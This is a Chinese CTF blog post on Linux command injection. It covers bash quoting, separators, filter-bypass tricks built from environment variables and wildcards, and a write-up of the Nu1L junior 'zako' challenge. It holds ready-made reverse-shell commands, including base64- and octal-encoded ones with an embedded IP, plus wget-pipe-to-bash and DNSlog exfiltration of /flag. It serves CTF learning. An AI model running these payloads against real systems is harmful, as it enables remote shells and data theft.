由于篇幅有点长 字数有限制:(
分两篇发:
Linux命令执行
Linux内的bash有如下的特性:
- 单引号、双引号、反引号
linux中的单引号相当于原样输出
双引号将变量的值输出
反引号把变量当作命令执行
| 1 | root@VM-8-15-debian:~# name=whoami | 
- 分隔指令
| 1 | 利用| || && & &! | 
| 1 | 分号和换行,相当于逐条执行指令 | 
- 指令的执行
| 1 | 反引号: | 
反弹shell
| 1 | bash -i >& /dev/tcp/ip/port 0>&1 | 
当然,更加稳定的:
| 1 | bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' | 
记得开启监听
| 1 | wget vps/bash |bash | 
记得开启http服务
nc反弹
| 1 | nc -e /bin/sh ip port | 
利用ip转int绕过限制
无回显rce
- 一个反弹shell的payload:
| 1 | echo 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE='|base64 -d|bash | 
可以写文件到新的文件并读取、改文件名、移动、压缩、甚至将flag外带、反弹shell等
| 1 | ls>1.txt | 
或者利用tee
| 1 | ls|tee 1.txt | 
- curl
例如flag是以图片形式储存的:
| 1 | cat xxx.jpg | base64 > /tmp/xxx | 
- dnslog外带
| 1 | `cat /flag|base64|sed s/[[:space:]]//`.xxx.dnslog.cn | 
利用sed将base64拼在dns域名
绕过
- 预操作
| 1 | >cat | 
空格:
| 1 | $IFS | 
- 环境变量拼接
ctfshow web 118:
| 1 | | 指令 | 结果 | 解释 | | 
| 指令 | 结果 | 解释 | 
|---|---|---|
| ${PATH%/*} | 我的vps: a(见下文) | %删除右边的字符,故%/*删除从右往左数第一个/及其右边的所有字符 | 
| ${PATH##*/} | 我的vps: bin | ##删除左边的字符,故##*/代表删除从右往左数第一个及其左边的所有字符 | 
| ${PATH:0-10} | /sbin:/bin | 从右往左截取10个长度的字符,相当于${PATH:~9} | 
| ${PATH:0-10:5} | /sbin | 从右往左截取10个字符,并且从截取的10个字符中选取出前5个 | 
| ${PATH%%n*} | /usr/local/sbi | %%删除右边的字符,但是%%n*是删除从左到右的第一个n及其之后的字符 | 
| ${PATH#n*} | b* | #是删除左边的字符,但是#是删除从左往右第一个n左边的字符 | 
非常重要:由于${PWD}返回的是当前的目录,所以利用cd ..一直返回上级目录即可获取到/
示例:
| 1 | (cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;pwd;) | 
| 1 | cat $(cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;echo $(pwd)flag) | 
a* : /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:
b*::/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
#与%%相对应,是从左往右开始截取第一个遇到的及其之前/之后的字符
%与##相对应,是从右往左开始截取第一个及其之后/之前遇到的字符
- 利用nl:
${PWD:~A}会返回l
${PATH:${~A}}会返回n
此时能组成nl:
${PATH:${~A}}${PWD:~A}${IFS}????.???
nl flag.php
- 利用base64:
/bin/base64 flag.php
| 1 | ${PWD::${#SHLVL}}会返回 '/' | 
- 利用rev:
/bin/rev flag.php
无长度限制:
| 1 | ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}${PWD:${#IFS}:${#SHLVL}}?? | 
有长度限制,将#SHLVL换成##:
| 1 | ${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? | 
利用报错构造1:
${HOME} => /root
| 1 | <A;${HOME::$?}???${HOME::$?}?????${#RANDOM} | 
- 利用cp(已知一些可以访问到的文件)
cp source_filename target_filename,将源文件复制到目标文件内,前提是你可以访问到目标文件
| 1 | cp $(cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;echo $(pwd)flag) app.py | 
- 各种单双引号绕过:
| 1 | ca''t /fl''ag | 
- printf写shell:
- 利用00:
| 1 | printf 'ca\x00t /etc/pass\x00wd' |bash | 
并不适用于php,因为php的system会自动检测00
- 利用八进制等绕过一些限制
例如NewStarCTF的一道题的payload:
| 1 | printf "\142\141\163\150\40\55\151\76\46\57\144\145\166\57\164\143\160\57\61\60\66\56\65\62\56\71\64\56\62\63\57\62\63\63\63\40\60\76\46\61"|s\h | 
利用八进制printf格式化输出然后sh反弹shell
- 通配符
* :匹配全部,同时如果单独输入一个*则会获取ls的结果,然后将结果的第一个字符作为命令,其后作为参数执行
?:匹配单个字符
[a-z0-9]:匹配小写a-z,0-9
还能取反[^b-z]g匹配a
例如香山杯2023的一个题的读flag就是more /[b-z]1[Z-b][b-z]
{}:匹配大括号内的字符,例如cat /f{l,s,t}ag会匹配/flag、/fsag、/ftag,也可以在里面写..,{a..c}即匹配a-c
- 编码
最常见的肯定是base64
| 1 | echo Y2F0IC9mbGFn|base64 -d|sh | 
十六进制:
利用xxd -r -p进行hexdecode:
| 1 | echo "636174202f666c6167" | xxd -r -p|bash | 
printf配合前面的:
| 1 | $(printf "\x6c\x73") //ls | 
一些读文件的函数:
| 1 | more: 一页一页查看 | 
- Tips:如果将环境变量设置修改为了没有/bin的话,我们要执行命令需要添加/bin,如/bin/cat或者/bin/rev
例如putenv('PATH=/leran/linux/command');
将环境变量修改了,此时我们需要添加/bin
- 读目录
| 1 | dir | 
- nmap写入文件:
| 1 | nmap -oG | 
上文已经讲过escapeshellarg+escapeshellcmd+nmap的例子了
[nu1l junior] zako
这个题目感觉很有意思!
这边配置一下docker起一个环境给大家看看
 
这里怎么绕这个request就不再讲述了
这里问题在于中间怎么隐藏了一行东西,这里提示我们要绕一下
| 1 | 
 | 
| 1 | 
 | 
这是一个bash脚本,简单看下吧,再仔细看我也看不懂
- reject大概就是一个拒绝的意思,说明这样不可以
- 这里有deny和allow,大概就是对应白名单和黑名单
- 然后检查一下你传进来的参数是否符合白名单和黑名单的要求,最后再eval执行
这里允许的命令只有:
| 1 | ls | 
禁止的黑名单有:
| 1 | `;&$(){}[]!@#$%^&*- | 
用ls看文件:
返回
| 1 | execute.sh index.php | 
当前目录只有这两个东西
ls /返回
| 1 | bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var | 
ps: 这边原本是有个readflag的,为了方便我直接用flag了
那接下来的问题就是如何利用ls和grep获取到flag了
grep是可以读文件的
还有两个地方值得注意的:
- 这个源码缺了一部分,注释也在提示我们something hide here
- 仔细看system处执行的是将cmd直接拼接,如果利用ls';any cmd就可以造成命令注入rce了
我们如何获得源码呢?
这个时候用grep读文件内容(题目也没限制空格):
| 1 | grep "" index.php | 
发现die了一下
 
所以这里有过滤
检查一下,不是grep,不是空格
| 1 | grep "" | 
也没有问题,说明问题出现在index.php上
grep "" *有问题,试试问号
| 1 | grep "" ?ndex.php | 
获得了index.php的真正源码:
| 1 | 
 | 
原来这里利用的是highlight_string显示的源码
并且利用grep -v排除了preg_match和highlight这一行
所以导致我们看不出过滤
接下来就是重头戏了
我们这边有符号的双重过滤,能用的只有一个grep,一个ls,那要怎么办呢?
这边如果flag可以读的话,就直接出了:
| 1 | grep "flag" /flag | 
但是实际题目中flag并不可读,而是需要执行/readflag
还记不记得grep跟cat差不多,而黑名单并没有ban掉>>
唯一能用的地方就只有index.php
如果我们能够将index.php变成这样就好了:
| 1 | 
 | 
此时利用>>就能做到
也就是说,利用grep我们重新将index.php复制到一个新的php去,然后只保留一下部分(因为grep是查找整行):
| 1 | grep "<?php" ?ndex.php >> 1.php | 
此时1.php就会变成这样:
 
这样我们的cmd就能够愉快的执行:
| 1 | ?_[secret.xswl.io=ls';/readflag;' | 
